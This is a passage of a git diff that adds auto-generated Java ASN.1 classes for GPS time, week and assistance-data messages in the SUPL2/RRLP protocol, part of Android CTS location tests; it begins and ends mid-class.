+ @Override public boolean isExplicitlySet() {
+ return getGpsWeek() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsWeek();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsWeekToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSWeek.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsWeek : "
+ + getGpsWeek().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
new file mode 100755
index 0000000..242a5d2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSTimeAssistanceMeasurements extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSTimeAssistanceMeasurements
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTimeAssistanceMeasurements() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTimeAssistanceMeasurements;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTimeAssistanceMeasurements != null) {
+ return ImmutableList.of(TAG_GPSTimeAssistanceMeasurements);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTimeAssistanceMeasurements from encoded stream.
+ */
+ public static GPSTimeAssistanceMeasurements fromPerUnaligned(byte[] encodedBytes) {
+ GPSTimeAssistanceMeasurements result = new GPSTimeAssistanceMeasurements();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTimeAssistanceMeasurements from encoded stream.
+ */
+ public static GPSTimeAssistanceMeasurements fromPerAligned(byte[] encodedBytes) {
+ GPSTimeAssistanceMeasurements result = new GPSTimeAssistanceMeasurements();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTimeAssistanceMeasurements.referenceFrameMSBType referenceFrameMSB_;
+ public GPSTimeAssistanceMeasurements.referenceFrameMSBType getReferenceFrameMSB() {
+ return referenceFrameMSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTimeAssistanceMeasurements.referenceFrameMSBType
+ */
+ public void setReferenceFrameMSB(Asn1Object value) {
+ this.referenceFrameMSB_ = (GPSTimeAssistanceMeasurements.referenceFrameMSBType) value;
+ }
+ public GPSTimeAssistanceMeasurements.referenceFrameMSBType setReferenceFrameMSBToNewInstance() {
+ referenceFrameMSB_ = new GPSTimeAssistanceMeasurements.referenceFrameMSBType();
+ return referenceFrameMSB_;
+ }
+
+ private GPSTimeAssistanceMeasurements.gpsTowSubmsType gpsTowSubms_;
+ public GPSTimeAssistanceMeasurements.gpsTowSubmsType getGpsTowSubms() {
+ return gpsTowSubms_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTimeAssistanceMeasurements.gpsTowSubmsType
+ */
+ public void setGpsTowSubms(Asn1Object value) {
+ this.gpsTowSubms_ = (GPSTimeAssistanceMeasurements.gpsTowSubmsType) value;
+ }
+ public GPSTimeAssistanceMeasurements.gpsTowSubmsType setGpsTowSubmsToNewInstance() {
+ gpsTowSubms_ = new GPSTimeAssistanceMeasurements.gpsTowSubmsType();
+ return gpsTowSubms_;
+ }
+
+ private GPSTimeAssistanceMeasurements.deltaTowType deltaTow_;
+ public GPSTimeAssistanceMeasurements.deltaTowType getDeltaTow() {
+ return deltaTow_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTimeAssistanceMeasurements.deltaTowType
+ */
+ public void setDeltaTow(Asn1Object value) {
+ this.deltaTow_ = (GPSTimeAssistanceMeasurements.deltaTowType) value;
+ }
+ public GPSTimeAssistanceMeasurements.deltaTowType setDeltaTowToNewInstance() {
+ deltaTow_ = new GPSTimeAssistanceMeasurements.deltaTowType();
+ return deltaTow_;
+ }
+
+ private GPSReferenceTimeUncertainty gpsReferenceTimeUncertainty_;
+ public GPSReferenceTimeUncertainty getGpsReferenceTimeUncertainty() {
+ return gpsReferenceTimeUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSReferenceTimeUncertainty
+ */
+ public void setGpsReferenceTimeUncertainty(Asn1Object value) {
+ this.gpsReferenceTimeUncertainty_ = (GPSReferenceTimeUncertainty) value;
+ }
+ public GPSReferenceTimeUncertainty setGpsReferenceTimeUncertaintyToNewInstance() {
+ gpsReferenceTimeUncertainty_ = new GPSReferenceTimeUncertainty();
+ return gpsReferenceTimeUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceFrameMSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceFrameMSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceFrameMSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTimeAssistanceMeasurements.referenceFrameMSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceFrameMSB : "
+ + getReferenceFrameMSB().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTowSubms() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTowSubms();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTowSubmsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTimeAssistanceMeasurements.gpsTowSubmsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTowSubms : "
+ + getGpsTowSubms().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaTow() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaTow();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaTowToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTimeAssistanceMeasurements.deltaTowType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaTow : "
+ + getDeltaTow().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsReferenceTimeUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsReferenceTimeUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsReferenceTimeUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSReferenceTimeUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertainty : "
+ + getGpsReferenceTimeUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceFrameMSBType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_referenceFrameMSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceFrameMSBType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceFrameMSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceFrameMSBType != null) {
+ return ImmutableList.of(TAG_referenceFrameMSBType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceFrameMSBType from encoded stream.
+ */
+ public static referenceFrameMSBType fromPerUnaligned(byte[] encodedBytes) {
+ referenceFrameMSBType result = new referenceFrameMSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceFrameMSBType from encoded stream.
+ */
+ public static referenceFrameMSBType fromPerAligned(byte[] encodedBytes) {
+ referenceFrameMSBType result = new referenceFrameMSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceFrameMSBType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTowSubmsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsTowSubmsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTowSubmsType() {
+ super();
+ setValueRange("0", "9999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTowSubmsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTowSubmsType != null) {
+ return ImmutableList.of(TAG_gpsTowSubmsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTowSubmsType from encoded stream.
+ */
+ public static gpsTowSubmsType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTowSubmsType result = new gpsTowSubmsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTowSubmsType from encoded stream.
+ */
+ public static gpsTowSubmsType fromPerAligned(byte[] encodedBytes) {
+ gpsTowSubmsType result = new gpsTowSubmsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTowSubmsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaTowType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaTowType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaTowType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaTowType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaTowType != null) {
+ return ImmutableList.of(TAG_deltaTowType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaTowType from encoded stream.
+ */
+ public static deltaTowType fromPerUnaligned(byte[] encodedBytes) {
+ deltaTowType result = new deltaTowType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaTowType from encoded stream.
+ */
+ public static deltaTowType fromPerAligned(byte[] encodedBytes) {
+ deltaTowType result = new deltaTowType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaTowType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSTimeAssistanceMeasurements = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java
new file mode 100755
index 0000000..95598a5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSWeek extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GPSWeek
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSWeek() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSWeek;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSWeek != null) {
+ return ImmutableList.of(TAG_GPSWeek);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSWeek from encoded stream.
+ */
+ public static GPSWeek fromPerUnaligned(byte[] encodedBytes) {
+ GPSWeek result = new GPSWeek();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSWeek from encoded stream.
+ */
+ public static GPSWeek fromPerAligned(byte[] encodedBytes) {
+ GPSWeek result = new GPSWeek();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GPSWeek = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java
new file mode 100755
index 0000000..16b8c2c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPS_AssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPS_AssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPS_AssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPS_AssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPS_AssistData != null) {
+ return ImmutableList.of(TAG_GPS_AssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPS_AssistData from encoded stream.
+ */
+ public static GPS_AssistData fromPerUnaligned(byte[] encodedBytes) {
+ GPS_AssistData result = new GPS_AssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPS_AssistData from encoded stream.
+ */
+ public static GPS_AssistData fromPerAligned(byte[] encodedBytes) {
+ GPS_AssistData result = new GPS_AssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ControlHeader controlHeader_;
+ public ControlHeader getControlHeader() {
+ return controlHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ControlHeader
+ */
+ public void setControlHeader(Asn1Object value) {
+ this.controlHeader_ = (ControlHeader) value;
+ }
+ public ControlHeader setControlHeaderToNewInstance() {
+ controlHeader_ = new ControlHeader();
+ return controlHeader_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getControlHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getControlHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setControlHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ControlHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "controlHeader : "
+ + getControlHeader().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPS_AssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
new file mode 100755
index 0000000..f93368a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPS_MeasureInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPS_MeasureInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPS_MeasureInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPS_MeasureInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPS_MeasureInfo != null) {
+ return ImmutableList.of(TAG_GPS_MeasureInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPS_MeasureInfo from encoded stream.
+ */
+ public static GPS_MeasureInfo fromPerUnaligned(byte[] encodedBytes) {
+ GPS_MeasureInfo result = new GPS_MeasureInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPS_MeasureInfo from encoded stream.
+ */
+ public static GPS_MeasureInfo fromPerAligned(byte[] encodedBytes) {
+ GPS_MeasureInfo result = new GPS_MeasureInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
